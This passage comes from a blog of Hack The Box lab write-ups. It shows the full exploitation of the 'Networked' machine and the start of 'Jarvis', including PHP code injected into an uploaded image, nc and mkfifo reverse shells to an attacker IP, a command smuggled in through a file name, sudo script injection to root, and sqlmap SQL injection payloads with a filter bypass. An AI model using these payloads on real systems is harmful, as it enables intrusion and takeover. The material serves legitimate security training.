/index.php (Status: 200)
/uploads (Status: 301)
=====================================================
2019/11/16 01:24:26 Finished
=====================================================
[email protected]:~/Desktop/HTB/boxes/networked#

In /backup I found a tar archive that had a backup of all the site’s pages:

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[email protected]:~/Desktop/HTB/boxes/networked# wget http://networked.htb/backup/backup.tar
--2019-11-16 01:25:13-- http://networked.htb/backup/backup.tar
Resolving networked.htb (networked.htb)... 10.10.10.146
Connecting to networked.htb (networked.htb)|10.10.10.146|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10240 (10K) [application/x-tar]
Saving to: ‘backup.tar’

backup.tar 100%[=====================================================================================================================>] 10.00K --.-KB/s in 0.1s

2019-11-16 01:25:13 (95.3 KB/s) - ‘backup.tar’ saved [10240/10240]

[email protected]:~/Desktop/HTB/boxes/networked#
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[email protected]:~/Desktop/HTB/boxes/networked# mkdir backup
[email protected]:~/Desktop/HTB/boxes/networked# cd backup/
[email protected]:~/Desktop/HTB/boxes/networked/backup# mv ../backup.tar .
[email protected]:~/Desktop/HTB/boxes/networked/backup# tar xvf backup.tar
index.php
lib.php
photos.php
upload.php
[email protected]:~/Desktop/HTB/boxes/networked/backup# ls -la
total 36
drwxr-xr-x 2 root root 4096 Nov 16 01:26 .
drwxr-xr-x 3 root root 4096 Nov 16 01:25 ..
-rw-r--r-- 1 root root 10240 Jul 9 13:33 backup.tar
-rw-r--r-- 1 root root 229 Jul 9 13:33 index.php
-rw-r--r-- 1 root root 2001 Jul 2 13:38 lib.php
-rw-r--r-- 1 root root 1871 Jul 2 14:53 photos.php
-rw-r--r-- 1 root root 1331 Jul 2 14:45 upload.php
[email protected]:~/Desktop/HTB/boxes/networked/backup#

index.php:

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<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>

lib.php:

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<?php

function getnameCheck($filename) {
$pieces = explode('.',$filename);
$name= array_shift($pieces);
$name = str_replace('_','.',$name);
$ext = implode('.',$pieces);
#echo "name $name - ext $ext\n";
return array($name,$ext);
}

function getnameUpload($filename) {
$pieces = explode('.',$filename);
$name= array_shift($pieces);
$name = str_replace('_','.',$name);
$ext = implode('.',$pieces);
return array($name,$ext);
}

function check_ip($prefix,$filename) {
//echo "prefix: $prefix - fname: $filename\n";
$ret = true;
if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {
$ret = false;
$msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";
} else {
$msg = $filename;
}
return array($ret,$msg);
}

function file_mime_type($file) {
$regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
if (function_exists('finfo_file')) {
$finfo = finfo_open(FILEINFO_MIME);
if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
{
$mime = @finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);
if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
$file_type = $matches[1];
return $file_type;
}
}
}
if (function_exists('mime_content_type'))
{
$file_type = @mime_content_type($file['tmp_name']);
if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string
{
return $file_type;
}
}
return $file['type'];
}

function check_file_type($file) {
$mime_type = file_mime_type($file);
if (strpos($mime_type, 'image/') === 0) {
return true;
} else {
return false;
}
}

function displayform() {
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data">
<input type="file" name="myFile">

<input type="submit" name="submit" value="go!">
</form>
<?php
exit();
}


?>

photos.php:

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<html>
<head>
<style type="text/css">
.tg {border-collapse:collapse;border-spacing:0;margin:0px auto;}
.tg td{font-family:Arial, sans-serif;font-size:14px;padding:10px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;border-color:black;}
.tg th{font-family:Arial, sans-serif;font-size:14px;font-weight:normal;padding:10px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;border-color:black;}
.tg .tg-0lax{text-align:left;vertical-align:top}
@media screen and (max-width: 767px) {.tg {width: auto !important;}.tg col {width: auto !important;}.tg-wrap {overflow-x: auto;-webkit-overflow-scrolling: touch;margin: auto 0px;}}</style>
</head>
<body>
Welcome to our awesome gallery!</br>
See recent uploaded pictures from our community, and feel free to rate or comment</br>
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$ignored = array('.', '..', 'index.html');
$files = array();

$i = 1;
echo '<div class="tg-wrap"><table class="tg">'."\n";

foreach (scandir($path) as $file) {
if (in_array($file, $ignored)) continue;
$files[$file] = filemtime($path. '/' . $file);
}
arsort($files);
$files = array_keys($files);

foreach ($files as $key => $value) {
$exploded = explode('.',$value);
$prefix = str_replace('_','.',$exploded[0]);
$check = check_ip($prefix,$value);
if (!($check[0])) {
continue;
}
// for HTB, to avoid too many spoilers
if ((strpos($exploded[0], '10_10_') === 0) && (!($prefix === $_SERVER["REMOTE_ADDR"])) ) {
continue;
}
if ($i == 1) {
echo "<tr>\n";
}

echo '<td class="tg-0lax">';
echo "uploaded by $check[1]";
echo "<img src='uploads/".$value."' width=100px>";
echo "</td>\n";


if ($i == 4) {
echo "</tr>\n";
$i = 1;
} else {
$i++;
}
}
if ($i < 4 && $i > 1) {
echo "</tr>\n";
}
?>
</table></div>
</body>
</html>

upload.php:

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<?php
require '/var/www/html/lib.php';

define("UPLOAD_DIR", "/var/www/html/uploads/");

if( isset($_POST['submit']) ) {
if (!empty($_FILES["myFile"])) {
$myFile = $_FILES["myFile"];

if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
echo '<pre>Invalid image file.</pre>';
displayform();
}

if ($myFile["error"] !== UPLOAD_ERR_OK) {
echo "<p>An error occurred.</p>";
displayform();
exit;
}

//$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}

if (!($valid)) {
echo "<p>Invalid image file</p>";
displayform();
exit;
}
$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;

$success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
if (!$success) {
echo "<p>Unable to save file.</p>";
exit;
}
echo "<p>file uploaded, refresh gallery</p>";

// set proper permissions on the new file
chmod(UPLOAD_DIR . $name, 0644);
}
} else {
displayform();
}
?>

/upload.php:

/photos.php:

RCE –> Shell as apache

We can use upload.php to upload images then we can view them through photos.php or /uploads/image_name. For some time I tried to bypass the extension filter in upload.php to upload php files but I wasn’t able to bypass it. However I could get RCE by injecting php code in the uploaded images.
I got a solid black image and called it original.png, let’s upload it:




Now let’s copy that image and inject some php code into the new image:

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[email protected]:~/Desktop/HTB/boxes/networked# cp original.png ./test.png
[email protected]:~/Desktop/HTB/boxes/networked# echo '<?php' >> test.png
[email protected]:~/Desktop/HTB/boxes/networked# echo 'passthru("whoami");' >> test.png
[email protected]:~/Desktop/HTB/boxes/networked# echo '?>' >> test.png
[email protected]:~/Desktop/HTB/boxes/networked# mv test.png test.php.png
[email protected]:~/Desktop/HTB/boxes/networked#

I injected <?php passthru("whoami"); ?> which should execute whoami, let’s test it:



Now if we view the file from /uploads we won’t get the image, we’ll get the binary data of the image and the result of the executed php code at the end:

whoami got executed successfully and we’re the user apache.
I created another one to get a reverse shell:

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[email protected]:~/Desktop/HTB/boxes/networked# cp original.png ./shell.php.png
[email protected]:~/Desktop/HTB/boxes/networked# echo '<?php' >> ./shell.php.png
[email protected]:~/Desktop/HTB/boxes/networked# echo 'passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f");' >> ./shell.php.png
[email protected]:~/Desktop/HTB/boxes/networked# echo '?>' >> ./shell.php.png
[email protected]:~/Desktop/HTB/boxes/networked#

And I got a shell as apache:

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[email protected]:~/Desktop/HTB/boxes/networked# nc -lvnp 1337
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:55662.
sh: no job control in this shell
sh-4.2$ whoami
whoami
apache
sh-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
sh-4.2$ hostname
hostname
networked.htb
sh-4.2$

Command Injection in check_attack.php –> Shell as guly –> User Flag

First thing I did after getting a shell was to make it stable:

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sh-4.2$ which python
which python
/usr/bin/python
sh-4.2$ python -c "import pty;pty.spawn('/bin/bash')"
python -c "import pty;pty.spawn('/bin/bash')"
bash-4.2$ ^Z
[1]+ Stopped nc -lvnp 1337
[email protected]:~/Desktop/HTB/boxes/networked# stty raw -echo
[email protected]:~/Desktop/HTB/boxes/networked# nc -lvnp 1337

bash-4.2$ export TERM=screen
bash-4.2$

Then I started to enumerate the box, there was only one user on the box called guly:

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bash-4.2$ cd /home/
bash-4.2$ ls -al
total 0
drwxr-xr-x. 3 root root 18 Jul 2 13:27 .
dr-xr-xr-x. 17 root root 224 Jul 2 13:27 ..
drwxr-xr-x. 2 guly guly 178 Nov 16 00:31 guly
bash-4.2$ cd guly/
bash-4.2$ ls -al
total 32
drwxr-xr-x. 2 guly guly 178 Nov 16 00:31 .
drwxr-xr-x. 3 root root 18 Jul 2 13:27 ..
lrwxrwxrwx. 1 root root 9 Jul 2 13:35 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly 18 Oct 30 2018 .bash_logout
-rw-r--r--. 1 guly guly 193 Oct 30 2018 .bash_profile
-rw-r--r--. 1 guly guly 231 Oct 30 2018 .bashrc
-rw------- 1 guly guly 749 Nov 16 00:31 .viminfo
-r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-rw------- 1 guly guly 1920 Nov 16 00:27 dead.letter
-r--------. 1 guly guly 33 Oct 30 2018 user.txt
bash-4.2$ cat user.txt
cat: user.txt: Permission denied
bash-4.2$

We can’t read the flag as apache, but there are some other interesting readable stuff, crontab.guly shows that /home/guly/check_attack.php gets executed as guly every 3 minutes:

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bash-4.2$ cat crontab.guly
*/3 * * * * php /home/guly/check_attack.php
bash-4.2$

check_attack.php:

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bash-4.2$ cat check_attack.php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";

#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);

if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}

?>
bash-4.2$

This script checks for files that aren’t supposed to be in the uploads directory and deletes them, the interesting part is how it deletes the files, it appends the file name to the rm command without any filtering which makes it vulnerable to command injection:

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exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

$path is the path of the uploads directory:

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$path = '/var/www/html/uploads/';

And $value is the suspicious file’s name.
We can simply go to /var/www/html/uploads and create a file that holds the payload in its name. The name will start with a semicolon ; (to inject the new command) then the reverse shell command.

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bash-4.2$ cd /var/www/html/uploads
bash-4.2$ touch '; nc 10.10.xx.xx 1338 -c bash'
bash-4.2$

After some time I got a shell as guly:

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[email protected]:~/Desktop/HTB/boxes/networked# nc -lvnp 1338
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1338
Ncat: Listening on 0.0.0.0:1338
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:60812.
whoami
guly
python -c "import pty;pty.spawn('/bin/bash')"
[[email protected] ~]$ ^Z
[1]+ Stopped nc -lvnp 1338
[email protected]:~/Desktop/HTB/boxes/networked# stty raw -echo
[email protected]:~/Desktop/HTB/boxes/networked# nc -lvnp 1338

[[email protected] ~]$ export TERM=screen
[[email protected] ~]$ id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
[[email protected] ~]$ ls -al
total 32
drwxr-xr-x. 2 guly guly 178 Nov 16 00:31 .
drwxr-xr-x. 3 root root 18 Jul 2 13:27 ..
lrwxrwxrwx. 1 root root 9 Jul 2 13:35 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly 18 Oct 30 2018 .bash_logout
-rw-r--r--. 1 guly guly 193 Oct 30 2018 .bash_profile
-rw-r--r--. 1 guly guly 231 Oct 30 2018 .bashrc
-r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-rw------- 1 guly guly 3072 Nov 16 00:48 dead.letter
-r--------. 1 guly guly 33 Oct 30 2018 user.txt
-rw------- 1 guly guly 749 Nov 16 00:31 .viminfo
[[email protected] ~]$

We owned user.

Command Injection in the Network Script Name –> Root Shell –> Root Flag

As guly I checked sudo -l and found that guly can run /usr/local/sbin/changename.sh as root without a password:

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[[email protected] ~]$ sudo -l
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
[[email protected] ~]$

changename.sh:

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[[email protected] ~]$ cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

/sbin/ifup guly0
[[email protected] ~]$

This script simply creates a network script for an interface called guly then activates that interface. It asks the user for these options: NAME, PROXY_METHOD, BROWSER_ONLY, BOOTPROTO.

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[[email protected] ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
test
interface PROXY_METHOD:
test
interface BROWSER_ONLY:
test
interface BOOTPROTO:
test
ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.

We’re only interested in the NAME option because according to this page we can inject commands in the interface name. Let’s try to execute bash:

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[[email protected] ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
test bash
interface PROXY_METHOD:
test
interface BROWSER_ONLY:
test
interface BOOTPROTO:
test
[[email protected] network-scripts]# whoami
root
[[email protected] network-scripts]# id
uid=0(root) gid=0(root) groups=0(root)
[[email protected] network-scripts]# cd /root/
[[email protected] ~]# ls -la
total 28
dr-xr-x---. 2 root root 144 Jul 15 11:34 .
dr-xr-xr-x. 17 root root 224 Jul 2 13:27 ..
lrwxrwxrwx. 1 root root 9 Jul 2 13:35 .bash_history -> /dev/null
-rw-r--r--. 1 root root 18 Dec 29 2013 .bash_logout
-rw-r--r--. 1 root root 176 Dec 29 2013 .bash_profile
-rw-r--r--. 1 root root 176 Dec 29 2013 .bashrc
-rw-r--r--. 1 root root 100 Dec 29 2013 .cshrc
-r--------. 1 root root 33 Oct 30 2018 root.txt
-rw-r--r--. 1 root root 129 Dec 29 2013 .tcshrc
-rw------- 1 root root 1011 Jul 15 11:34 .viminfo
[[email protected] network-scripts]#

And we got a root shell.

We owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Jarvis
Next Hack The Box write-up : Hack The Box - Chainsaw

Hack The Box - Jarvis

9 November 2019 at 03:00

Hack The Box - Jarvis

Quick Summary

Hey guys, today Jarvis retired and here’s my write-up about it. It was a nice easy box with a web application vulnerable to SQL injection, a python script vulnerable to command injection and a setuid binary that could be abused to get a root shell. It’s a medium box and its ip is 10.10.10.143, I added it to /etc/hosts as jarvis.htb. Let’s jump right in!

Nmap

As always we will start with nmap to scan for open ports and services:

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[email protected]:~/Desktop/HTB/boxes/jarvis# nmap -sV -sT -sC -o nmapinitial jarvis.htb
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-08 17:33 EET
Nmap scan report for jarvis.htb (10.10.10.143)
Host is up (0.24s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.86 seconds
[email protected]:~/Desktop/HTB/boxes/jarvis#

We got ssh on port 22 and http on port 80. Let’s take a look at the web service.

Web Enumeration

By visiting http://jarvis.htb/ we get a website for a hotel called Stark Hotel:


I ran gobuster to check for any sub directories and the only interesting thing I found was /phpmyadmin:

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[email protected]:~/Desktop/HTB/boxes/jarvis# gobuster -u http://jarvis.htb/ -w /usr/share/wordlists/dirb/common.txt

=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://jarvis.htb/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/11/08 17:38:59 Starting gobuster
=====================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/index.php (Status: 200)
/js (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
=====================================================
2019/11/08 17:40:39 Finished
=====================================================

http://jarvis.htb/phpmyadmin

phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web. phpMyAdmin supports a wide range of operations on MySQL and MariaDB. Frequently used operations (managing databases, tables, columns, relations, indexes, users, permissions, etc) can be performed via the user interface, while you still have the ability to directly execute any SQL statement. -phpmyadmin.net

That can be useful later if we could find the credentials, but for now let’s concentrate on the web application.

SQLi in room.php

Back to the “Rooms & Suites” section in the main page, clicking on any of these rooms requests /room.php with a parameter called cod that holds the room number:


I tried replacing the number with a single quote ' and I got a weird response:

So I ran sqlmap but I got a 404 response:

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[email protected]:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1             
___
__H__
___ ___[(]_____ ___ ___ {1.3.4#stable}
|_ -| . [)] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:43:03 /2019-11-08/
[17:43:03] [INFO] testing connection to the target URL
[17:43:04] [INFO] checking if the target is protected by some kind of WAF/IPS
[17:43:04] [INFO] testing if the target URL content is stable
[17:43:05] [INFO] heuristics detected web page charset 'ascii'
[17:43:05] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk
results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
[17:43:13] [INFO] searching for dynamic content
[17:43:13] [CRITICAL] page not found (404)
[17:43:13] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 2 times
[*] ending @ 17:43:13 /2019-11-08/

I checked the page again and saw a message indicating that I got banned for 90 seconds:

I assumed that it checks for the user-agent because the ban happened immediately, so I added the --user-agent option and used Firefox user-agent, that was enough to bypass the filter:

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[email protected]:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"     
___
__H__
___ ___[(]_____ ___ ___ {1.3.4#stable}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:15:42 /2019-11-08/
[22:15:42] [INFO] testing connection to the target URL
[22:15:43] [INFO] checking if the target is protected by some kind of WAF/IPS
[22:15:43] [INFO] testing if the target URL content is stable
[22:15:44] [INFO] target URL content is stable
[22:15:44] [INFO] testing if GET parameter 'cod' is dynamic
[22:15:45] [INFO] GET parameter 'cod' appears to be dynamic
[22:15:46] [INFO] heuristic (basic) test shows that GET parameter 'cod' might be injectable
[22:15:46] [INFO] testing for SQL injection on GET parameter 'cod'
[22:15:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:15:48] [INFO] GET parameter 'cod' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="of")
[22:15:52] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[22:15:56] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[22:15:56] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[22:15:57] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[22:15:57] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[22:15:57] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[22:15:57] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[22:15:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[22:15:58] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[22:15:58] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[22:15:58] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[22:16:00] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[22:16:00] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[22:16:00] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[22:16:00] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[22:16:01] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[22:16:01] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[22:16:01] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[22:16:02] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[22:16:02] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[22:16:02] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[22:16:03] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[22:16:03] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[22:16:03] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[22:16:04] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[22:16:04] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[22:16:06] [INFO] testing 'MySQL inline queries'
[22:16:06] [INFO] testing 'PostgreSQL inline queries'
[22:16:06] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[22:16:07] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[22:16:08] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[22:16:08] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[22:16:08] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[22:16:09] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[22:16:09] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[22:16:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[22:16:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[22:16:10] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[22:16:10] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[22:16:22] [INFO] GET parameter 'cod' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
[22:16:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:16:22] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:16:22] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection tech
nique test
[22:16:23] [INFO] target URL appears to have 7 columns in query
[22:16:28] [INFO] GET parameter 'cod' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'cod' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 80 HTTP(s) requests:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 9726=9726

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: cod=1 AND SLEEP(5)

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr
---
[22:16:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[22:16:33] [INFO] fetched data logged to text files under '/root/.sqlmap/output/jarvis.htb'

[*] ending @ 22:16:33 /2019-11-08/

[email protected]:~/Desktop/HTB/boxes/jarvis#

RCE –> Shell as www-data

I could get RCE in 2 different ways.

First way:

By using the os-shell option in sqlmap:

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[email protected]:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" --os-shell                                    
___
__H__
___ ___[,]_____ ___ ___ {1.3.4#stable}
|_ -| . ["] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:23:10 /2019-11-08/
[22:23:10] [INFO] resuming back-end DBMS 'mysql'
[22:23:10] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 9726=9726

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: cod=1 AND SLEEP(5)

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr
---
[22:23:11] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
